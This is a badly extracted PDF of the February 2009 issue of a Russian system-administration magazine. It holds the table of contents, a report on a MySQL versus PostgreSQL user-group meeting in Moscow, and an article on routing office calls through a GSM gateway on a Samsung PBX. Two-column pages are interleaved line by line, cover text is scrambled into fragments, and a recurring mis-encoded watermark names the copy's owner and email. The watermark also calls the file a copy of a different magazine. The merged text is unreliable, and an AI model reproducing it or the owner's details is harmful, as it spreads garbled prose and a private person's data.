Вы находитесь на странице: 1из 98

Так видит журнал читатель, который забыл оформить подписку:

ЛИ
С
ЛИ
ТЯ Е

Ж ПИ
ЗА ДНИ
НУ

РА КУ
ЛЫ ГО

ТИ РАС
К У ВО

РО
№2(75) февраль 2009
НИ НО

СТ
БЫ
подписной индекс 20780
КА

www.samag.ru

Офисная АТС Samsung:

№2(75) февраль 2009


И
подключаем GSM-шлюз

ЬГ
ЬД О
БО А
К

ИС НН
ЕН
РА СК
ТЕ
УС

ИЛ ДА
У
ТП

НА П
Л ОТ

НЧ ЖИ
ВО

РА ЛЕ

КО НЕО
Л

Внедряем смарт-карты в домене


АВ ОС
ХА
УЕ

ЗА
Графические инструменты
для Server Core
Так видит журнал читатель, оформивший подписку:
Slack – автоматизируем
настройку сервисов

Бесплатные почтовые серверы


для ОС семейства Windows

Теневое копирование
в Windows Server 2003

Средства обеспечения безопасности


в Windows Vista

ПОДПИШИТЕСЬ И ЧИТАЙТЕ! VMware Workstation 6.5.


Способы установки
Роспечать – 20780, 81655
Сервер отчётов для малого бизнеса
Пресса России – 88099, 87836
Интер-почта – тел. (495) 500-00-60 С новым Python-3000!
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
Реклама
Реклама
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
в номере
РЕПОРТАЖ 45 iQ.Suite – экономичное решение
безопасности для Lotus Domino
4 Слон против дельфина и Microsoft Exchange
Встреча московских групп пользователей MySQL iQ.Suite поможет оптимизировать работу электронной
и PostgreSQL. почты, повысить производительность труда, сократить
Кирилл Сухов расходы и обеспечить правовую защиту.
Алексей Демин
АДМИНИСТРИРОВАНИЕ Ирина Абалихина

6 Офисная АТС Samsung: 46 Внедряем смарт-карты в домене


подключаем GSM‑шлюз Как избежать некоторых проблем и ошибок при исполь-
Сокращаем телефонные расходы. зовании смарт-карт.
Рашид Ачилов Станислав Шпак

11 Сервер отчётов для малого бизнеса 52 Shorewall: Iptables с человеческим лицом


Удобное решение для создания необходимых отчётов. Linux не испытывает недостатка в средствах настрой-
Александр Федяшов ки межсетевых экранов. Чем же выделяется из них
Shorewall?
12 Обзор бесплатных почтовых серверов Валентин Синицын
для операционных систем семейства
Windows 58 Безопасная работа с сессиями в PHP
Рассмотрим несколько бесплатных программных про- Возможные варианты атак на PHP-приложение и ме-
дуктов, позволяющих создать собственный почтовый тоды противодействия.
сервер на базе ОС семейства Windows. Антон Гришан
Алексей Бережной
ПРОГРАММИРОВАНИЕ
24 Графические инструменты
для Server Core 64 Обманчивая простота языка BF:
Утилиты, упрощающие настройку Windows Server 2008 генезис или мутация?
в режиме Server Core. Brainfuck – язык программирования, чье появление
Сергей Яремчук обусловлено интеллектуальной «шалостью» его со-
здателя.
28 VMware Workstation 6.5. Алексей Вторников
Способы установки
На практике используется самый простой, но не самый 68 С новым Python-3000!
эффективный способ установки VMware Workstation. Революция, о которой так долго говорили «пайтонис-
Рассмотрим особенности установки приложения. ты», свершилась. В ночь с 3 на 4 декабря 2008 года бы-
Иван Коробко ло официально объявлено о выходе Python 3.0 final.
Сергей Супрунов
32 Slack – автоматизируем настройку
сервисов 73 ЗАКОН ЕСТЬ ЗАКОН
Творческая работа по настройке сервера превраща-
ется в рутину, если этих серверов сотня. С помощью ВЕБ-ПРОГРАММИРОВАНИЕ
slack этот процесс можно автоматизировать быстро
и без лишних затрат. 74 Почему стоит использовать механизм
Алексей Коробкин обработки исключений в PHP
Большую часть времени и сил разработчики тратят на об-
АДМИНИСТРИРОВАНИЕ «1С» работку ситуаций, которые случаются редко, но именно
по поведению системы в нестандартных ситуациях мож-
35 Решаем проблемы с установкой но судить о качестве программного продукта.
и удалением драйвера защиты Антон Гришан
Не всегда поставляемый разработчиком софт работает
безупречно. Одна из самых распространенных причин 79 BUGTRAQ
этого – неактуальность драйверов и библиотек.
Андрей Луконькин ВЕБ
БЕЗОПАСНОСТЬ 80 Native Client – Rich Internet Applications
от Google
36 Теневое копирование Rich Internet Applications, что это такое и где применя-
в Windows Server 2003 ется?
С выходом Windows Server 2003 компания Microsoft Кирилл Сухов
предоставила администраторам мощный инструмент
для осуществления мгновенных снимков файлового 85 СИСАДМИН ТОЖЕ ЧЕЛОВЕК
наполнения сетевых дисков.
Александр Емельянов РЕТРОСПЕКТИВА
40 Средства обеспечения безопасности 86 Компьютер, опередивший время
в Windows Vista. Часть 1 История Fujitsu FM Towns.
Обзор средств безопасности, появившихся в Windows Дмитрий Мороз
Vista.
Андрей Бирюков 92 КНИЖНАЯ ПОЛКА
№2, февраль 2009 
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
иза х!
и х пр
о ваш
вай те ВА»
забы при з Д
Не з о в «А д м и н ск ий

а пр и
ы г р ы ш
р н а ла. Т РИ»
ир о з ж у и з
Итог а   с а йте с к и й пр и р о в ал
от р ите н « А д мин р е г и с тр
см
г р ы ша е , к то за р н а л а.
м и р оз ы я тс я вс
р о в жу
д а ть.
к а о в м е ж
тни тан х но ни е
Учас тически с д ыд у щ и
лько
у м е
о м а п р е я т о
ав т о д о в из а д о б итс c urIT –
шес т
ьк
в а м по н
п а н и и Se
то т ра з о т ком
Вэ
п е р пр из
ы г р ан с у з Т РИ»
т ра з и
Буде с к и й пр
б у к . д м ин
т А
ноу
п р и зов « 9 года.
г р ы ша т а 2 00
роз ы 4 ма р
о г и н ы
Ит о д в ед е
т п
буду

зяев!
и х хо
т сво
ы ж ду
Приз
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
репортаж

Слон против дельфина:


встреча московских групп пользователей
MySQL и PostgreSQL
– Ыыы... А вдруг они… подерутся?
– Что значит «вдруг»?
Да, странно – имена без весовых категорий
указаны... Или будет как в К1?
Боксерские перчатки выдавать будут?

Из комментариев к предстоящему событию


на форуме opennet.ru

22 января в Москве в помещении Высшей школы экономики на Покровском бульваре


состоялась совместная встреча московских групп пользователей MySQL и PostgreSQL.
Обошлось без кровопролития…

Э
то мероприятие все ждали с не- Getting started ность достаточно известная в ми-
сколько нездоровым оживле- Первый раунд был посвящён пробле- ре разработчиков высоконагружен-
нием. Это и понятно, сообщест- мам установки СУБД, и Николай Са- ных систем и веб-программирования).
ва MySQL и PostgreSQL давно извес- мохвалов в своём выступлении пос- Своё выступление он начал словами:
тны антагонизмом по отношению друг тарался развенчать миф о сложнос- – Я здесь представляю тех ребят,
к другу. «Копья» на многочисленных ти и «консольности» PostgreSQL, про- которые просто берут MySQL и исполь-
интернет-форумах и списках рассыл- демонстрировав на слайдах работу зуют её. Я имею слабое представление
ки «трещат» уже далеко не первый симпатичного графического инстал- о том, что там внутри.
год, и вот организована первая оч- лятора. Особый упор делался на раз- После чего поделился собствен-
ная встреча. нообразие способов установки и уп- ным опытом использования СУБД
Сторону PostgreSQL представля- равления СУБД, простоту этого дейст- в большом проекте (тысячи серве-
ли Николай Самохвалов («Постгрес- вия для новичков («Нужно только жать ров, 24х7х365 и т. д.). При этом упор
мен», он и выступал в качестве веду- кнопку Next!»). делался на то, что прагматичная по-
щего встречи), Олег Бортунов, Федор Очень порадовало публику из- зиция диктует выбирать не красивых
Сигаев (PostgreSQL Global Development в е с т и е о р а з р а б о т ке ко м п а н и и и умных, а гарантированно работаю-
Group) и Андрей Смирнов (NetStream). EnterpriseDB, позволяющей управ- щие схемы, и в этом смысле MySQL
Им противостояли Константин Оси- лять СУБД PostgreSQL с iPhone. очень хороша тем, что не даёт созда-
пов (Sun/MySQL) и Алексей Рыбак Говоря о возможностях сервера баз вать неоправданно сложные зависи-
(Badoo.com). данных, Николай сообщил, что на лю- мости между данными и «не диктует
Во вступительном слове Нико- бой вопрос человека, мигрирующе- неэффективную или сложно управля-
лай Самохвалов подчеркнул, что пос- го на PostgreSQL, вида «а почему вот емую архитектуру».
ледователи обоих СУБД собрались, этого нет?» Он ответственно заявля- Алексей подчеркнул, что решения,
как друзья, как сторонники двух са- ет – «вот это – уже есть»! применяемые в Badoo.com, не исполь-
мых успешных Open Source-серверов В ответ, говоря про установку зуют сложных запросов, внешних клю-
баз данных, для распространения ко- MySQL, Константин Осипов поначалу чей триггеров и процедур, а реплика-
торых сейчас, во время тяжелых эко- ограничился одной фразой: ция, шардинг (сегментирование по оп-
номических условий, возможно, са- – Говорить тут особо нечего, у боль- ределенному признаку), очереди со-
мое время. шинства из вас MySQL уже стоит. бытий на базе MySQL являются собс-
Первая часть встречи действи- Но потом кратко обрисовал уста- твенными разработками. При этом ар-
тельно была организована как поеди- новку СУБД, уложившись в три мину- хитектура системы не менялась 4 го-
нок – 40 минут были разбиты на четы- ты, против заявленных пяти, при этом да, за которые число пользователей её
ре части, на протяжении которых сто- успев рассказать о типах хранилищ возрастало от ноля до 18 миллионов.
роны при жёстком регламенте вре- данных в MySQL. Далее Алексей рассказал о новом
мени (по пять минут каждой сторо- проекте – libmca, библиотеки для пос-
не) должны были осветить работу от- Scale out троения клиента с асинхронной обра-
стаиваемой СУБД в том или ином ас- Следующий раунд – «Масштабирова- боткой множества запросов к СУБД
пекте. ние». Его начал Алексей Рыбак (лич- MySQL.


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
репортаж
В ответ Андрей Смирнов подчерк-
нул преимущества PostgreSQL на мно-
гоядерных и многопроцессорных ап-
паратных платформах. Также были
упомянуты чрезвычайно эффектные
решения для PostgreSQL от компа-
нии Skype, такие как PgBouncer и Sky
Tools (Longdicade), а также встроен-
ные в СУБД средства масштабирова-
ния. Далее было кратко рассказано
об архитектуре Skype, которая, по за-
верениям разработчиков, должна ос-
таваться жизнеспособной и при мил-
лиарде пользователей. Вообще с та-
ким пользователем, как Skype, коман-
де PostgreSQL в этом раунде можно бы-
ло больше ничего не доказывать. И треснул мир напополам. Дымит разлом
Упомяну то было так же теперь
у же отк р ы то е р е ш е н и е GridSQ L особо была упомянута платная техни- му же успели поломать на форумах все
от EnterpriseDB. ческая поддержка для коммерческих возможные копья. В аудитории царила
клиентов. (Цитата: «Если есть какая- обстановка политкорректности и доб-
Development либо техническая проблема – есть га- рожелательности.
Третий раунд был посвящён разви- рантия, что она будет решена».) Вопросы старались задавать пред-
тию СУБД. Николай Самохвалов показал гео- ставителям двух команд одновремен-
Николай Самохвалов рассказал графическое распространение раз- но, правда, это не всегда получалось.
о циклах разработки PostgreSQL, сис- работчиков и групп пользователей Касались они самых разных тем –
теме нумерации версий и о нововве- PostgreSQL (увы, как было видно от «назовите самый большой проект
дении процесса разработки – мероп- на карте, Африка и Антарктида оказа- под PostgreSQL» до реализации OLAP-
риятиях Commit Fest, процесса регу- лись практически не охвачены) и рас- куба. Из конструктивной части вопро-
лярной обработки патчей и включении сказал о мероприятиях, проводимых сов/ответов довольно интересно было
их в CVN HEAD. Благодаря им сооб- российским PostgreSQL-сообщест- послушать про организацию работы
щество в любой момент времени зна- вом. Тут оппонентам крыть было не- СУБД в условиях ограниченности ре-
ет, какие изменения точно будут в оче- чем – на одном из таких мероприятий сурсов, виртуализацию (VPS), о подхо-
редном релизе СУБД (в данном случае мы и находились. дах к проблеме квотирования ресур-
в PostgreSQl 8.4). сов. Также вышла увлекательная ми-
В ответ Константин Осипов расска- Coda ни-дискуссия между Олегом Бортуно-
зал о прогрессе MySQL за последние После этого слово попросил Мак- вым и Константином Осиповым отно-
6 лет и показал структуру разработки сим Бабук (Masterhost), рассказав- сительно применения паттернов пост-
СУБД, назвав важное отличие – ис- ший об успешном переводе высо- роения доступа к данным и концепции
пользование распределённой системы конагруженной системы с MySQL Cloud Сomputing в свете будущего ин-
контроля версий (Bazaar), что обуслов- на PostgreSQL и о том, что послед- формационных систем.
лено принципами разработки MySQL, няя нормально выдерживала нагруз- Последний вопрос был знаковым,
а именно наличия, помимо основного ки, на которых первая «умирала». Па- его задала очаровательная девуш-
дерева, большого числа поддержива- тетику доклада несколько сбил Фёдор ка, вид которой во время встречи вы-
емых веток. Было рассказано об инс- Сигаев, спросив, зачем при описанной зывал недоумение – как и зачем она
трументах тестирования и сборки, структуре данных (шесть простых таб- здесь оказалась. В общем, после рас-
о новшествах в предстоящих релизах лиц, простые запросы) надо было ис- суждений о жадных или генетических
СУБД – 5.3, 6.0 (online backup и новые пользовать реляционную СУБД. алгоритмах и индексирующих много-
хранилища данных Maria и Falcon), 6.1 На этом первая часть встречи за- мерных массивах прозвучало:
(наконец-то внешние ключи!). кончились, и приглашённые эксперты – Здравствуйте! Я начинающий веб-
стали отвечать на вопросы присутс- дизайнер, не подскажете, какую базу
Community твующих. данных мне выбрать? – бурная реакция
Следующий раунд назывался «Сооб- аудитории заглушила ответ: «Вам, де-
щество». Прения вушка, любую».
Константин Осипов, не покидая «Холивара» не получилось, наверняка Расходились в хорошем настро-
кафедры, рассказал о существующих к чьему-то разочарованию. Возможно ении.
формах поддержки пользователей потому, что был вечер трудового дня
MySQL – списках рассылки, форумах, и все устали, а может, просто собра- Текст: Кирилл Сухов,
московской группе пользователей, лись адекватные люди, которые к то- фото Михаил Шурутов

№2, февраль 2009 


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование

Офисная АТС Samsung:


подключаем GSM‑шлюз

Рашид Ачилов
Когда количество телефонных звонков из офиса на сотовые телефоны увеличивается
настолько, что сумма счета за услуги телефонной связи начинает превышать все мыслимые
пределы, поневоле задумаешься, как бы сократить эти расходы, не ограничивая ни количество
звонков, ни их длительность.

Куда уходят деньги, расходам, использовать альтернати- нить на все сотовые телефоны с сото-
в какие города... вы. Например, вместо «простой» меж- вого же (пусть даже и другого операто-
Современный офис невозможно себе дугородней связи использовать звон- ра) – стоимость переговоров уменьша-
представить без телефонной связи. ки по технологии IP-телефонии, вмес- ется пропорционально тому, как часто
Стационарная и мобильная, местная то звонков на сотовые с городского звонят на телефоны данного операто-
и междугородняя – она давно и проч- номера звонить на него с сотового же. ра (при условии, что у вас безлимит-
но занимает место в формировании Последний вариант наиболее привле- ный тариф, разумеется).
бизнес-процессов. Пропадание свя- кателен для тех компаний, чьи бизнес- Собственно говоря, на этом и ос-
зи сравнимо разве что с отключени- процессы завязаны на коммуникации нована экономия средств с помощью
ем электроэнергии и запросто повер- по сотовым телефонам и в структуре GSM-шлюза – к офисной АТС подклю-
гает в хаос офисы практически любо- расходов на телефонные переговоры чается GSM-шлюз, который представ-
го масштаба. Неудивительно, что рас- существенное место у которых занима- ляет по сути стационарный мобильный
ходы на телефонные переговоры мо- ют расходы на звонки на сотовые те- телефон, и все вызовы на сотовые мар-
гут составлять весьма существенные лефоны. Например, в г. Новосибирске шрутизируются через него средствами
суммы. Способы экономии здесь мо- стоимость минуты звонка на сотовый офисной АТС так, что звонок на сото-
гут быть разные, но все они сводят- телефон составляет 1 р. 50 коп., при- вый телефон приходит с другого сото-
ся к одному – вместо тех услуг, тари- чем неполная минута считается за пол- вого телефона и тарифицируется со-
фы на которые приводят к серьезным ную. Если же каким-то образом зво- ответствующим образом. При исполь-


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование
зовании безлимитного тарифа можно но через COM-порт. Это, несомненно,
разговаривать с абонентами того опе- является серьезным недостатком, по-
ратора, к которому подключен GSM- тому что COM-порты, как устройства
шлюз, неограниченно, а с абонентами морально устаревшие, уже отсутству-
других операторов – в той мере, в ко- ют на многих моделях современных
торой это предусмотрено тарифным компьютеров.
планом. Таким образом мы исключа- Перед началом работы необходи-
ем из расходов на телефонные пере- мо подготовить PIN-код от SIM-карты,
говоры самую дорогую их часть – оп- которая будет установлена в шлюз.
лату за звонки на сотовые со стацио- PIN‑код прописывается непосред-
нарных городских телефонов. Я неда- ственно в память шлюза и выдается
ром написал «стационарный мобиль- оператору каждый раз, когда шлюз ре-
ный телефон» чтобы сразу привлечь гистрируется в сети GSM. Необходимо
Рисунок 1. Внешний вид GSM-шлюза
внимание к этому кажущемуся проти- также установить прилагающееся про- 2N EasyGate
воречию – ведь мобильный телефон граммное обеспечение.
собственно и получил свое название Аляповатость главного меню на-
потому что с ним можно перемещаться, водит на мысль о том, что устройство
оставаясь постоянно на связи. Что же предназначается и для домашнего ис-
это за устройство такое? пользования тоже (см. рис. 2). Флаж-
ки слева предназначены для выбо-
Станционарный ра языка интерфейса, нелепо переко-
мобильный телефон шенные значки снизу позволяют про-
Внешне это устройство напоминает вести настройку собственно програм-
скорее точку доступа Wi-Fi, чем теле- мы (указать, на каком порту находит-
фон – никаких тебе экранов, никаких ся шлюз), вызвать справку, «О про-
кнопок (см. рис. 1). грамме» и выйти из нее. Не менее не-
Это вполне естественно, ведь оно лепо перекошенные значки слева поз-
является телефоном только по факту воляют загрузить настройки из шлюза
того, что в него вставляется SIM-кар- или с диска, редактировать настройки
Рисунок 2. Главное меню программы
та, а на самом деле это именно шлюз, и мониторить работу шлюза, для чего настройки шлюза 2N SmartGate
устройство для перенаправления звон- он, естественно, должен оставаться
ков. После его включения шлюз под- подключенным к компьютеру. Все на-
ключается к тому оператору, SIM-кар- стройки шлюза можно выгрузить в тек-
та которого в него установлена, и с это- стовый файл, который впоследствии
го момента через него можно звонить можно загрузить обратно.
точно так же, как и через любую дру- Для настройки шлюза он должен
гую внешнюю линию, используя стан- быть переведен в специальный ре-
Рисунок 3. Ввод PIN-кода и сервисного
дартные средства маршрутизации жим программирования, в который он пароля для GSM-шлюза
офисных АТС. переходит автоматически после вклю-
Разумеется, до начала работы чения на 3 секунды (при этом горят все честве телефона или в качестве внеш-
на SIM-карте должны быть включены индикаторы). Если шлюз подключен ней линии. Мы рассмотрим только те
все необходимые услуги – после то- в этот момент к компьютеру и запуще- настройки, которые необходимо сде-
го как она будет установлена в GSM- на программа настройки, то он остает- лать для того, чтобы шлюз работал
шлюз, поменять что-либо в настройках ся в этом режиме. Загрузка и сохране- так, как нужно нам – то есть в качестве
будет возможно только через Интернет, ние настроек возможны только в этом внешней линии. Этих настроек, собст-
и то только в том случае, если опера- режиме, поэтому перед тем как загру- венно, немного.
тор, к которому подключен GSM-шлюз, зить или сохранить данные, вы можете Единственная настройка, без кото-
поддерживает такую функцию. Кроме получить запрос «Выключите устройс- рой не будет ничего работать, – это за-
того, необходимо будет настроить са- тво и включите его снова». дание PIN-кода SIM-карты. PIN-код за-
мо устройство GSM-шлюза. Разумеется, все настройки шлюза дается при выборе пункта «Security»
В данной с татье мы рассмот- мы рассматривать не будем – в комп- в главном меню.
рим конкретную модель GSM-шлюза, лекте имеется достаточно объемное Сервисный пароль используется,
а именно 2N SmartGate. Более под- руководство (правда, на английском если вы хотите защитить настройки
робную информацию о нем можно по- языке), в котором подробно, с картин- шлюза паролем. Введенный PIN-код
лучить на [1]. ками, расписывается, что и как настра- прописывается в памяти шлюза и мо-
Для настроек шлюза нам пона- ивается для работы вместе с офисной жет быть стерт только вводом другого
добится компьютер, оборудованный АТС или при ее отсутствии. Шлюз име- PIN-кода (см. рис. 3).
COM‑портом, потому что общение ет возможность подключения в «раз- Данная модель шлюза облада-
с шлюзом возможно исключитель- рыв» между телефоном и АТС, в ка- ет некоторым «интеллектом» в виде

№2, февраль 2009 


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование
специального программного обеспече-
ния). В пункте меню GSM & SIM в са-
мом нижнем окне вписываем сервис-
ный номер для передачи SMS. Здесь
же можно ввести настройки для про-
верки состояния баланса. Подробнее
об этом можно прочитать в паспор-
те на шлюз.
Все, нажимаем на значок CD-ROM
для записи настроек в память шлюза
(не забудьте это сделать, программа
не предупредит об зтом!), и можно его
выключать и монтировать в место пос-
тоянного расположения.

Немного об индикаторах
На корпусе шлюза нет никаких орга-
нов управления. Расположено только
Рисунок 4. Настройка таблиц маршрутизации GSM-шлюза три индикатора, которые и показыва-
ют его состояние. Верхний – питание,
средний – подключение, нижний – раз-
говор. Когда шлюз нормально заре-
гистрировался в сети GSM, средний
индикатор горит непрерывно, в про-
тивном случае нужно обратиться к ру-
ководству, чтобы выяснить, что озна-
чает сигнал (а их там 5 разных вари-
антов). Нижний индикатор горит, ког-
да идет разговор и мигает, когда идет
набор номера. Когда шлюз свободен,
индикатор не горит.

Настройка АТС Samsung


Ну и последнее, что остается сделать, –
это подключить GSM-шлюз к АТС и на-
строить собственно АТС для работы
с GSM-шлюзом. Как внешняя линия
шлюз подключается обычным прово-
дом к порту FXO АТС, прочие варианты
подключения описаны в руководстве.
В рассматриваемом ниже приме-
Рисунок 5. ММС 710 с настройками маршрутизации вызовов на сотовые телефоны ре подключения GSM-шлюз подклю-
чается к внешней линии номер 731.
собственного набора таблиц маршру- дем игнорировать все входящие вы- Настройка не будет отличаться осо-
тизации, по которой шлюз может сде- зовы, поэтому выбираем в пункте ме- бой сложностью – все, что нужно сде-
лать выбор, куда направить звонок. ню Call tables на закладке GSM Routing лать – это создать еще одну табли-
Мы не будем пользоваться данной table в самом низу, где написано Other цу маршрутизации, в которой указать,
возможностью, поскольку все выбо- CLI's из выпадающего списка дейст- что все звонки на номера, начинающи-
ры маршрутов будут делаться на уров- вие reject (на рис. 4 обведено крас- еся на цифру 9, направлять через та-
не АТС, поэтому таблицы маршрути- ным), после чего все входящие вызо- кую-то внешнюю линию.
зации просто не заполняются. Единс- вы будут отвергаться, вызвавший або- Тем, кто не знаком с приемами
твенное, что нужно настроить в пунк- нент услышит сигнал «занято». Дру- программирования АТС Samsung
те Call tables – это направление вхо- гими вариантами настройки являет- OfficeServ, настоятельно рекомендую
дящего вызова. Шлюз может направ- ся направление вызова на интерфейс прочитать [2, 3].
лять входящий вызов на любое FXO- FXO или FXS. Сначала мы определяем, как бу-
устройство, подключаемое к своему Ну и последняя, в общем-то совер- дут маршрутизироваться звонки в том
порту FXS, – телефон, автоответчик, шенно не важная настройка – указать случае, если набирают номер сотово-
факс, отвергать все входящие вызовы сервисный номер для передачи SMS го телефона в MMC 710. Сделать это
или же направлять их на АТС. Мы бу- через шлюз (это возможно с помощью очень просто – поскольку у нас толь-


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование
ко один GSM-шлюз, любой набор под-
ряд цифр 89 будет означать набор но-
мера сотового телефона, а следова-
тельно, должен маршрутизироваться
на GSM‑шлюз, для чего мы создадим
таблицу маршрутизации 3 (см. рис. 5).
Для создания таблицы маршрути-
зации сначала необходимо объявить
группу внешних линий, через которые
будет доставляться вызов. Это дела-
ется в ММС 603. Для создания груп-
пы внешних линий для доставки вы-
зова через GSM-шлюз мы просто бе-
рем всю группу внешних линий для
доставки обычного местного вызова
и ставим первым линию GSM-шлюза.
В рассматриваемом примере это груп-
па 801 (см. рис. 6).
При такой настройке, если шлюз
занят, то вызов пойдет через обычную
телефонную сеть. Если есть необходи-
мость сделать так, чтобы вызовы шли Рисунок 6. ММС 603 с настройками группы вызова через GSM-шлюз
только через шлюз, то в группе 801
нужно оставить только ту линию, к ко-
торой подключен GSM-шлюз.
Далее, в MMC 712 настраивается
уже выбранная нами таблица марш-
рутизации 3 – в нее просто вписыва-
ется номер группы внешних линий, че-
рез которые будет доставляться вызов.
При такой настройке эта группа внеш-
них линий будет использоваться всег-
да, независимо от времени и дня не-
дели (см. рис. 7).
Что делать, если необходимо под-
ключить не один шлюз, а несколь-
ко таким образом, чтобы разносить
звонки по разным сотовым операто-
рам? Создать больше таблиц и раз-
нести маршруты, зависящие от кода
сотового оператора. Возьмем услов-
ный пример. Пусть шлюз 1 подключен
к оператору «МТС», а шлюз 2 – к опе-
ратору «Мегафон». Примем, что теле-
фоны «МТС» начинаются только на Рисунок 7. ММС 712 с настройками таблицы маршрутизации вызовов на GSM-шлюз
91, а телефоны «Мегафона» – только
на 92. Нам понадобятся три маршру- что шлюз «МТС» подключен к внеш- Выбор тарифного плана
та – на сотовые «МТС» (строка 22 таб- ней линии 731, а шлюз «Мегафона» – и возможные ошибки
лицы на рис. 8), на сотовые Мегафона к линии 732 (cм. рис. 9). Начальные расчеты экономической
(строка 23 таблицы на рис. 8) и на про- Ну и последнее – создаются три эффективности могут ошибочно погру-
чие сотовые (строка 24 таблицы на таблицы маршрутизации, соответ- зить вас в состояние этакой «экономи-
рис. 8). «Прочие сотовые» будут реа- ственно 3, 4 и 5 (на рисунках не пока- ческой эйфории» – мол, поставлю этот
лизовываться звонком сначала через заны). Они идентичны таблице, пока- шлюз, и вообще платить за перегово-
шлюз «МТС», потом через шлюз «Ме- занной на рис. 7, только номер группы ры на сотовые не надо будет. На самом
гафона», ну а в случае недоступности внешних линий соответственно будет деле это не так. Если используется ва-
обеих шлюзов – через ТФОП. 806, 807 и 808. риант, в котором при занятом шлю-
Разумеется, нам понадобится Полный список кодов сотовых опе- зе вызов идет через ТФОП – платить
создать три группы внешних линий. раторов можно посмотреть, напри- за звонки на сотовые все равно при-
Для определенности предположим, мер на [5]. дется, только меньше. Если же звонки

№2, февраль 2009 


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование
говоров с абонентской платой, чтобы
не получилось обмена «шила на мыло».
Дабы меня не обвинили в рекламе того
или иного сотового оператора, я созна-
тельно не привожу здесь никаких дета-
лей о ценах и тарифных планах.
Ошибки, которые могут здесь воз-
никнуть, можно разделить на две
группы – ошибки, связанные с самим
GSM‑шлюзом, и ошибки настройки
АТС. Для диагностирования первых
служат индикаторы шлюза, значения
которых описаны в руководстве. На-
иболее возможная ошибка здесь –
попытка запустить шлюз, не указав
PIN‑код или указав его неверно. Мож-
но также перепутать назначение пор-
тов шлюза – левый разъем – это порт
FXO, для подключения шлюза в ка-
честве телефона, а средний, который
рядом с разъемом блока питания, –
Рисунок 8. MMC 710 для маршрутизации звонков разных операторов через два шлюза порт FXS, для подключения шлюза
в качестве внешней линии.
Ошибки настройки АТС скорее все-
го могут быть связаны с банальны-
ми неточностями или невниматель-
ностью – изменяется всего три ММС,
поэтому ошибиться тут практичес-
ки негде.

Заключение
Если аккуратно подойти к выбору опе-
ратора и тарифного плана, то можно
ожидать сокращения счетов на услу-
ги телефонной связи на значитель-
ную сумму уже в первый же месяц.
И хотя еще необходимо будет вернуть
деньги, затраченные на приобретение
собственно GSM-шлюза (а стоимость
данной модели составляет пример-
но 8‑10 тыс. руб.), экономия все рав-
но может оказаться весьма сущест-
венной.

Рисунок 9. ММС 603 с группами для вызовов различных операторов 1. ht t p: // w w w. r u . 2 n .c z /p r o d u c t s /g s m -


gateways/analog/smartgate.html.
на сотовые делаются исключительно ность накопления статистики по звон- 2. Ачилов Р. Развертываем корпоратив-
через шлюзы – это может отрицатель- кам, для чего, правда, необходимо ную телефонную сеть на основе тех-
но сказаться на работе – большое ко- приобрести дополнительное програм- нологии VoIP. Часть первая. //Систем-
личество шлюзов не поставишь – до- мное обеспечение WinTariff, подробнее ный администратор, № 6, июль 2007 г. –
рого, а малое постоянно будет занято. см. [4]. Проанализировав данную ста- С. 56-63.
